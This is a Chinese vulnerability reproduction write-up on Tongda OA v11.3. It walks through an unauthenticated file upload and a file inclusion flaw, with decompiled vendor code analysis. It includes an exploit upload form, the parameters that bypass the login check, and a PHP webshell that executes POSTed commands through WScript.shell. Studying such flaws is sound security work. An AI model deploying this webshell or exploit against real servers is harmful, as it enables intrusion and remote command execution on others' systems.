通达OA文件上传&文件包含
复现环境:windows7
通达OAv11.3
,解码工具:zend5.4
可以把系统安装在虚拟机上,然后关闭虚拟机的防火墙
分析
漏洞复现
文件上传漏洞
先写一个表单
1 2 3 4 5 6 7 8 9
| <form id="frmUpload" enctype="multipart/form-data" action="http://192.168.1.50/ispirit/im/upload.php" method="post">Upload a new file:<br> <input type="text" name="P" value="123"> <input type="text" name="TYPE" value="123"> <input type="text" name="DEST_UID" value="10"> <input type="file" name="ATTACHMENT" size="50"> <input type="text" name="UPLOAD_MODE" value="1"> <input id="btnUpload" type="submit" value="Upload"> </form>
|
上传文件
文件包含漏洞
shell代码如下:
1 2 3 4 5 6 7 8
| <?php $command=$_POST['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
|
代码分析
首先文件上传漏洞,跟进ispirit/im/upload.php
当我们直接访问upload.php
时会返回
加一个P就可以绕过登陆限制
接着往后看
这里的DEST_UID
不为0,也不为空
所以令DEST_UID
为10,至于TYPE
为123就好
返回无上传文件
我们可以上传一个文件,并且当$UPLOAD_MODE="1"
将会对文件名进行URL解码
然后调用upload()
,跟进这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| function upload($PREFIX, $MODULE, $OUTPUT) { if (strstr($MODULE, "/") || strstr($MODULE, "\\")) { if (!$OUTPUT) { return _("参数含有非法字符。"); }
Message(_("错误"), _("参数含有非法字符。")); exit(); }
$ATTACHMENTS = array("ID" => "", "NAME" => ""); reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT ) { if (($ATTACHMENT["error"] == 4) || (($KEY != $PREFIX) && (substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . "_"))) { continue; }
$data_charset = (isset($_GET["data_charset"]) ? $_GET["data_charset"] : (isset($_POST["data_charset"]) ? $_POST["data_charset"] : "")); $ATTACH_NAME = ($data_charset != "" ? td_iconv($ATTACHMENT["name"], $data_charset, MYOA_CHARSET) : $ATTACHMENT["name"]); $ATTACH_SIZE = $ATTACHMENT["size"]; $ATTACH_ERROR = $ATTACHMENT["error"]; $ATTACH_FILE = $ATTACHMENT["tmp_name"]; $ERROR_DESC = "";
if ($ATTACH_ERROR == UPLOAD_ERR_OK) { if (!is_uploadable($ATTACH_NAME)) { $ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1)); }
$encode = mb_detect_encoding($ATTACH_NAME, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));
if ($encode != "UTF-8") { $ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, "utf-8", MYOA_CHARSET); } else { $ATTACH_NAME_UTF8 = $ATTACH_NAME; }
if (preg_match("/[\':<>?]|\/|\\\\|\"|\|/u", $ATTACH_NAME_UTF8)) { $ERROR_DESC = sprintf(_("文件名[%s]包含[/\'\":*?<>|]等非法字符"), $ATTACH_NAME); }
if ($ATTACH_SIZE == 0) { $ERROR_DESC = sprintf(_("文件[%s]大小为0字节"), $ATTACH_NAME); }
if ($ERROR_DESC == "") { $ATTACH_NAME = str_replace("'", "", $ATTACH_NAME); $ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
if ($ATTACH_ID === false) { $ERROR_DESC = sprintf(_("文件[%s]上传失败"), $ATTACH_NAME); } else { $ATTACHMENTS["ID"] .= $ATTACH_ID . ","; $ATTACHMENTS["NAME"] .= $ATTACH_NAME . "*"; } }
@unlink($ATTACH_FILE); } else if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) { $ERROR_DESC = sprintf(_("文件[%s]的大小超过了系统限制(%s)"), $ATTACH_NAME, ini_get("upload_max_filesize")); } else if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) { $ERROR_DESC = sprintf(_("文件[%s]的大小超过了表单限制"), $ATTACH_NAME); } else if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) { $ERROR_DESC = sprintf(_("文件[%s]上传不完整"), $ATTACH_NAME); } else if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) { $ERROR_DESC = sprintf(_("文件[%s]上传失败:找不到临时文件夹"), $ATTACH_NAME); } else if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) { $ERROR_DESC = sprintf(_("文件[%s]写入失败"), $ATTACH_NAME); } else { $ERROR_DESC = sprintf(_("未知错误[代码:%s]"), $ATTACH_ERROR); }
if ($ERROR_DESC != "") { if (!$OUTPUT) { delete_attach($ATTACHMENTS["ID"], $ATTACHMENTS["NAME"], $MODULE);
return $ERROR_DESC; } else { Message(_("错误"), $ERROR_DESC); } } }
return $ATTACHMENTS; }
|
关键代码在于:
1
| if (!is_uploadable($ATTACH_NAME))
|
这个后缀检测,从最后一个.
开始往后的内容为后缀,我们使用木马图绕过后缀检验
然后关于文件的保存路径
这个$ATTACHMENT_ID
来自
upload.php
中
跟进add_attach()
这个文件的文件名是ATTACH_ID.ATTACH_NAME
所以我们上传文件的时候可以直接令文件名为jpg
然后上传文件,即可
接着文件读取漏洞,跟进ispirit/interface/gateway.php
只有url
中有general/
,ispirit/
,module/
然后就可以绕过限制,我们做成jsoncode
就可以读取文件了。